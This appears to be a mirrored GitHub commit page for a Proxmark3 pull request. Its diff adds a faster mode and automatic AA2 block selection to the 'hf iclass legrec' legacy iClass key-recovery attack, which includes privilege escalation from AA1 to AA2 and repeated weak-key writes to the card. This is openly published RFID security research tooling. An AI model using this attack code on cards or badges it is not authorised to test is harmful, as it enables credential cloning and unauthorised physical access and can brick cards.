mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-21 05:43:48 -07:00
Merge pull request #2884 from Antiklesys/master
Updated hf iclass legrec with a fast option and improved AA2 selection
This commit is contained in:
commit
e2a1f30b40
4 changed files with 148 additions and 66 deletions
|
@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file.
|
||||||
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
||||||
|
|
||||||
## [unreleased][unreleased]
|
## [unreleased][unreleased]
|
||||||
|
- Changed `hf iclass legrec` - added a --fast option for further speed increase and automated AA2 block selection (@antiklesys)
|
||||||
- Changed `hf iclass legrec` - additional code optimizations gaining a ~147% speed increase (@antiklesys)
|
- Changed `hf iclass legrec` - additional code optimizations gaining a ~147% speed increase (@antiklesys)
|
||||||
- Changed `hf iclass tear` - readability improvements for erase phase (@antiklesys)
|
- Changed `hf iclass tear` - readability improvements for erase phase (@antiklesys)
|
||||||
- Changed `hf iclass legrec` - code optimizations gaining a ~8% speed increase (@antiklesys)
|
- Changed `hf iclass legrec` - code optimizations gaining a ~8% speed increase (@antiklesys)
|
||||||
|
|
|
@ -2626,7 +2626,7 @@ static void generate_single_key_block_inverted_opt(const uint8_t *startingKey, u
|
||||||
|
|
||||||
// Start from the second byte, index 1 as we're never gonna touch the first byte
|
// Start from the second byte, index 1 as we're never gonna touch the first byte
|
||||||
for (int i = 1; i < PICOPASS_BLOCK_SIZE; i++) {
|
for (int i = 1; i < PICOPASS_BLOCK_SIZE; i++) {
|
||||||
// Clear the last bit of the current byte (AND with 0xFE)
|
// Clear the last three bits of the current byte (AND with 0xF8)
|
||||||
keyBlock[i] &= 0xF8;
|
keyBlock[i] &= 0xF8;
|
||||||
// Set the last bit to the corresponding value from binary_endings (OR with binary_endings[i])
|
// Set the last bit to the corresponding value from binary_endings (OR with binary_endings[i])
|
||||||
keyBlock[i] |= ((binary_mids[i] & 0x03) << 1) | (binary_endings[i] & 0x01);
|
keyBlock[i] |= ((binary_mids[i] & 0x03) << 1) | (binary_endings[i] & 0x01);
|
||||||
|
@ -2638,6 +2638,9 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
bool shallow_mod = false;
|
bool shallow_mod = false;
|
||||||
uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||||
uint8_t genkeyblock[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
uint8_t genkeyblock[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||||
|
uint8_t fast_restore_key[PICOPASS_BLOCK_SIZE] = {0};
|
||||||
|
uint8_t fast_previous_key[PICOPASS_BLOCK_SIZE] = {0};
|
||||||
|
uint8_t fast_current_key[PICOPASS_BLOCK_SIZE] = {0};
|
||||||
uint32_t index = msg->index;
|
uint32_t index = msg->index;
|
||||||
int bits_found = -1;
|
int bits_found = -1;
|
||||||
bool recovered = false;
|
bool recovered = false;
|
||||||
|
@ -2646,8 +2649,7 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
uint8_t div_key2[8] = {0};
|
uint8_t div_key2[8] = {0};
|
||||||
uint32_t eof_time = 0;
|
uint32_t eof_time = 0;
|
||||||
uint32_t start_time = 0;
|
uint32_t start_time = 0;
|
||||||
uint8_t read_check_cc[] = { 0x80 | ICLASS_CMD_READCHECK, 0x18 }; //block 24
|
uint8_t read_check_cc[] = { 0x10 | ICLASS_CMD_READCHECK, 0x18 }; //block 24 with credit key
|
||||||
read_check_cc[0] = 0x10 | ICLASS_CMD_READCHECK; //use credit key
|
|
||||||
uint8_t read_check_cc2[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; //block 2 -> to check Kd macs
|
uint8_t read_check_cc2[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; //block 2 -> to check Kd macs
|
||||||
|
|
||||||
/* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. */
|
/* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. */
|
||||||
|
@ -2697,6 +2699,9 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
card_select = true;
|
card_select = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//Step 0A - The read_check_cc block has to be in AA2, set it by checking the card configuration
|
||||||
|
read_check_cc[1] = ((uint8_t*)&hdr.conf)[0] + 1; //first block of AA2
|
||||||
|
|
||||||
//Step1 Authenticate with AA1 using trace
|
//Step1 Authenticate with AA1 using trace
|
||||||
if (card_select) {
|
if (card_select) {
|
||||||
memcpy(original_mac, msg->req.key, 8);
|
memcpy(original_mac, msg->req.key, 8);
|
||||||
|
@ -2733,6 +2738,9 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
} else {
|
} else {
|
||||||
interrupted = true;
|
interrupted = true;
|
||||||
}
|
}
|
||||||
|
if(msg->fast){
|
||||||
|
goto fast_restore;
|
||||||
|
}
|
||||||
goto out;
|
goto out;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -2778,7 +2786,6 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
}
|
}
|
||||||
|
|
||||||
//Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1
|
//Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1
|
||||||
uint8_t blockno = 3;
|
|
||||||
int priv_esc_tries = 0;
|
int priv_esc_tries = 0;
|
||||||
while (!priv_esc) {
|
while (!priv_esc) {
|
||||||
//The privilege escalation is done with a readcheck and not just a normal read!
|
//The privilege escalation is done with a readcheck and not just a normal read!
|
||||||
|
@ -2810,9 +2817,23 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
memcpy(genkeyblock, zero_key, PICOPASS_BLOCK_SIZE);
|
memcpy(genkeyblock, zero_key, PICOPASS_BLOCK_SIZE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if(msg->fast){//if we're skipping restoring the original key to gain speed, xor the new index key with the previous index key and update the difference and track restore values differently
|
||||||
|
if(index > 0 && loops > 1){
|
||||||
|
generate_single_key_block_inverted_opt(zero_key, index -1, fast_previous_key);
|
||||||
|
}else{
|
||||||
|
memcpy(fast_previous_key, zero_key, PICOPASS_BLOCK_SIZE);
|
||||||
|
}
|
||||||
|
for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) {
|
||||||
|
fast_current_key[i] = genkeyblock[i] ^ fast_previous_key[i];
|
||||||
|
fast_restore_key[i] = fast_restore_key[i] ^ fast_current_key[i];
|
||||||
|
}
|
||||||
|
memcpy(genkeyblock, fast_current_key, PICOPASS_BLOCK_SIZE);
|
||||||
|
}
|
||||||
|
|
||||||
//Step4 Calculate New Mac
|
//Step4 Calculate New Mac
|
||||||
|
|
||||||
uint8_t wb[9] = {0};
|
uint8_t wb[9] = {0};
|
||||||
|
uint8_t blockno = 3;
|
||||||
wb[0] = blockno;
|
wb[0] = blockno;
|
||||||
memcpy(wb + 1, genkeyblock, 8);
|
memcpy(wb + 1, genkeyblock, 8);
|
||||||
doMAC_N(wb, sizeof(wb), div_key2, mac2);
|
doMAC_N(wb, sizeof(wb), div_key2, mac2);
|
||||||
|
@ -2823,6 +2844,7 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
if (iclass_writeblock_sp(blockno, genkeyblock, mac2, shallow_mod, &start_time, &eof_time)) {
|
if (iclass_writeblock_sp(blockno, genkeyblock, mac2, shallow_mod, &start_time, &eof_time)) {
|
||||||
status_message = 4; //wrote new key on the card - unverified
|
status_message = 4; //wrote new key on the card - unverified
|
||||||
}
|
}
|
||||||
|
if(!msg->fast){ //if we're going slow we check at every write that the write actually happened
|
||||||
//Reset cypher state
|
//Reset cypher state
|
||||||
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
|
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
|
||||||
|
@ -2849,6 +2871,10 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
written = true;
|
written = true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}else{ //if we're going fast we can skip the above checks as we're just xorring the key over and over
|
||||||
|
status_message = 5;
|
||||||
|
written = true;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (write_error == false) {
|
if (write_error == false) {
|
||||||
|
@ -2866,15 +2892,18 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
//regardless of bits being found, restore the original key and verify it
|
|
||||||
bool reverted = false;
|
bool reverted = false;
|
||||||
uint8_t revert_retries = 0;
|
uint8_t revert_retries = 0;
|
||||||
while (reverted == false) {
|
if(msg->fast){ //if we're going fast only restore the original key at the end
|
||||||
|
if(recovered){
|
||||||
|
goto fast_restore;
|
||||||
|
}
|
||||||
|
}else{
|
||||||
|
//if we're NOT going fast, regardless of bits being found, restore the original key and verify it
|
||||||
|
while (!reverted) {
|
||||||
//Regain privilege escalation with a readcheck
|
//Regain privilege escalation with a readcheck
|
||||||
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod);
|
iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod);
|
||||||
// TODO: check result
|
|
||||||
//GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
|
|
||||||
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
if (iclass_writeblock_sp(blockno, genkeyblock, mac2, shallow_mod, &start_time, &eof_time)) {
|
if (iclass_writeblock_sp(blockno, genkeyblock, mac2, shallow_mod, &start_time, &eof_time)) {
|
||||||
status_message = 6; //restore of original key successful but unverified
|
status_message = 6; //restore of original key successful but unverified
|
||||||
|
@ -2882,8 +2911,6 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
//Do a readcheck first to reset the cypher state
|
//Do a readcheck first to reset the cypher state
|
||||||
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
|
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
|
||||||
// TODO: check result
|
|
||||||
//GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
|
|
||||||
//need to craft the authentication payload accordingly
|
//need to craft the authentication payload accordingly
|
||||||
memcpy(msg->req.key, original_mac, 8);
|
memcpy(msg->req.key, original_mac, 8);
|
||||||
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
|
@ -2905,6 +2932,8 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
goto out;
|
goto out;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -2947,14 +2976,60 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
|
|
||||||
}//end while
|
}//end while
|
||||||
|
|
||||||
|
fast_restore:
|
||||||
|
;//empty statement for compilation
|
||||||
|
uint8_t mac2[4] = {0};
|
||||||
|
uint8_t wb[9] = {0};
|
||||||
|
uint8_t blockno = 3;
|
||||||
|
wb[0] = blockno;
|
||||||
|
bool reverted = false;
|
||||||
|
uint8_t revert_retries = 0;
|
||||||
|
while (!reverted) {
|
||||||
|
//Regain privilege escalation with a readcheck
|
||||||
|
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
|
iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod);
|
||||||
|
memcpy(wb + 1, fast_restore_key, 8);
|
||||||
|
doMAC_N(wb, sizeof(wb), div_key2, mac2);
|
||||||
|
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
|
if (iclass_writeblock_sp(blockno, fast_restore_key, mac2, shallow_mod, &start_time, &eof_time)) {
|
||||||
|
status_message = 6; //restore of original key successful but unverified
|
||||||
|
}
|
||||||
|
//Do a readcheck first to reset the cypher state
|
||||||
|
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
|
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
|
||||||
|
//need to craft the authentication payload accordingly
|
||||||
|
memcpy(msg->req.key, original_mac, 8);
|
||||||
|
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
|
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
|
||||||
|
if (res == true) {
|
||||||
|
status_message = 7; //restore of original key verified - card usable again
|
||||||
|
reverted = true;
|
||||||
|
}
|
||||||
|
revert_retries++;
|
||||||
|
if (revert_retries >= 7) { //must always be an odd number!
|
||||||
|
DbpString("");
|
||||||
|
DbpString(_CYAN_("Last Written Key (fast): "));
|
||||||
|
Dbhexdump(8, fast_restore_key, false);
|
||||||
|
Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries);
|
||||||
|
}
|
||||||
|
if(recovered){
|
||||||
|
goto restore;
|
||||||
|
}else{
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
restore:
|
restore:
|
||||||
;//empty statement for compilation
|
;//empty statement for compilation
|
||||||
uint8_t partialkey[PICOPASS_BLOCK_SIZE] = {0};
|
uint8_t partialkey[PICOPASS_BLOCK_SIZE] = {0};
|
||||||
|
|
||||||
for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) {
|
for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) {
|
||||||
|
if(msg->fast){
|
||||||
|
partialkey[i] = fast_restore_key[i] ^ bits_found;
|
||||||
|
}else{
|
||||||
partialkey[i] = genkeyblock[i] ^ bits_found;
|
partialkey[i] = genkeyblock[i] ^ bits_found;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
//Print the bits decimal value
|
//Print the bits decimal value
|
||||||
DbpString("");
|
DbpString("");
|
||||||
|
|
|
@ -4524,7 +4524,7 @@ void picopass_elite_nextKey(uint8_t *key) {
|
||||||
memcpy(key, key_state, 8);
|
memcpy(key, key_state, 8);
|
||||||
}
|
}
|
||||||
|
|
||||||
static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, uint8_t no_first_auth[8], bool debug, bool test, bool allnight) {
|
static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, uint8_t no_first_auth[8], bool debug, bool test, bool fast, bool allnight) {
|
||||||
|
|
||||||
int runs = 1;
|
int runs = 1;
|
||||||
int cycle = 1;
|
int cycle = 1;
|
||||||
|
@ -4556,6 +4556,7 @@ static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, u
|
||||||
payload->loop = loop;
|
payload->loop = loop;
|
||||||
payload->debug = debug;
|
payload->debug = debug;
|
||||||
payload->test = test;
|
payload->test = test;
|
||||||
|
payload->fast = fast;
|
||||||
memcpy(payload->nfa, no_first_auth, PICOPASS_BLOCK_SIZE);
|
memcpy(payload->nfa, no_first_auth, PICOPASS_BLOCK_SIZE);
|
||||||
memcpy(payload->req.key, key, PICOPASS_BLOCK_SIZE);
|
memcpy(payload->req.key, key, PICOPASS_BLOCK_SIZE);
|
||||||
memcpy(payload->req2.key, aa2_standard_key, PICOPASS_BLOCK_SIZE);
|
memcpy(payload->req2.key, aa2_standard_key, PICOPASS_BLOCK_SIZE);
|
||||||
|
@ -4841,8 +4842,9 @@ static int CmdHFiClassLegacyRecSim(void) {
|
||||||
bits_found = index;
|
bits_found = index;
|
||||||
PrintAndLogEx(SUCCESS, "Original Key: " _GREEN_("%s"), sprint_hex(original_key, sizeof(original_key)));
|
PrintAndLogEx(SUCCESS, "Original Key: " _GREEN_("%s"), sprint_hex(original_key, sizeof(original_key)));
|
||||||
PrintAndLogEx(SUCCESS, "Weak Key: " _GREEN_("%s"), sprint_hex(key, sizeof(key)));
|
PrintAndLogEx(SUCCESS, "Weak Key: " _GREEN_("%s"), sprint_hex(key, sizeof(key)));
|
||||||
PrintAndLogEx(SUCCESS, "Key Updates Required to Weak Key: " _GREEN_("%d"), index);
|
PrintAndLogEx(SUCCESS, "Key Updates Required to Weak Key :" _GREEN_("%d"), index);
|
||||||
PrintAndLogEx(SUCCESS, "Estimated Time: ~" _GREEN_("%d")" hours", index / 17800);
|
PrintAndLogEx(SUCCESS, "Estimated Time (default mode) : ~" _GREEN_("%d")" hours", index / 17800);
|
||||||
|
PrintAndLogEx(SUCCESS, "Estimated Time (--fast mode) : ~" _GREEN_("%d")" hours", index / 26860);
|
||||||
}
|
}
|
||||||
|
|
||||||
index++;
|
index++;
|
||||||
|
@ -4870,6 +4872,7 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) {
|
||||||
arg_lit0(NULL, "debug", "Re-enables tracing for debugging. Limits cycles to 1."),
|
arg_lit0(NULL, "debug", "Re-enables tracing for debugging. Limits cycles to 1."),
|
||||||
arg_lit0(NULL, "notest", "Perform real writes on the card!"),
|
arg_lit0(NULL, "notest", "Perform real writes on the card!"),
|
||||||
arg_lit0(NULL, "allnight", "Loops the loop for 10 times, recommended loop value of 5000."),
|
arg_lit0(NULL, "allnight", "Loops the loop for 10 times, recommended loop value of 5000."),
|
||||||
|
arg_lit0(NULL, "fast", "Increases the speed (4.6->7.4 key updates/second), higher risk to brick the card."),
|
||||||
arg_lit0(NULL, "est", "Estimates the key updates based on the card's CSN assuming standard key."),
|
arg_lit0(NULL, "est", "Estimates the key updates based on the card's CSN assuming standard key."),
|
||||||
arg_param_end
|
arg_param_end
|
||||||
};
|
};
|
||||||
|
@ -4885,7 +4888,8 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) {
|
||||||
bool test = true;
|
bool test = true;
|
||||||
bool no_test = arg_get_lit(ctx, 5);
|
bool no_test = arg_get_lit(ctx, 5);
|
||||||
bool allnight = arg_get_lit(ctx, 6);
|
bool allnight = arg_get_lit(ctx, 6);
|
||||||
bool sim = arg_get_lit(ctx, 7);
|
bool fast = arg_get_lit(ctx, 7);
|
||||||
|
bool sim = arg_get_lit(ctx, 8);
|
||||||
|
|
||||||
if (sim) {
|
if (sim) {
|
||||||
CmdHFiClassLegacyRecSim();
|
CmdHFiClassLegacyRecSim();
|
||||||
|
@ -4902,6 +4906,7 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) {
|
||||||
return PM3_EINVARG;
|
return PM3_EINVARG;
|
||||||
} else if (debug || test) {
|
} else if (debug || test) {
|
||||||
loop = 1;
|
loop = 1;
|
||||||
|
fast = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t csn[PICOPASS_BLOCK_SIZE] = {0};
|
uint8_t csn[PICOPASS_BLOCK_SIZE] = {0};
|
||||||
|
@ -4926,7 +4931,7 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) {
|
||||||
PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " to abort");
|
PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " to abort");
|
||||||
PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n");
|
PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n");
|
||||||
|
|
||||||
iclass_recover(macs, index, loop, no_first_auth, debug, test, allnight);
|
iclass_recover(macs, index, loop, no_first_auth, debug, test, fast, allnight);
|
||||||
|
|
||||||
PrintAndLogEx(NORMAL, "");
|
PrintAndLogEx(NORMAL, "");
|
||||||
PrintAndLogEx(WARNING, _YELLOW_("If the process completed successfully, you can now run 'hf iclass legbrute' with the partial key found."));
|
PrintAndLogEx(WARNING, _YELLOW_("If the process completed successfully, you can now run 'hf iclass legbrute' with the partial key found."));
|
||||||
|
|
|
@ -124,6 +124,7 @@ typedef struct {
|
||||||
uint8_t nfa[8];
|
uint8_t nfa[8];
|
||||||
bool debug;
|
bool debug;
|
||||||
bool test;
|
bool test;
|
||||||
|
bool fast;
|
||||||
} PACKED iclass_recover_req_t;
|
} PACKED iclass_recover_req_t;
|
||||||
|
|
||||||
typedef struct iclass_premac {
|
typedef struct iclass_premac {
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue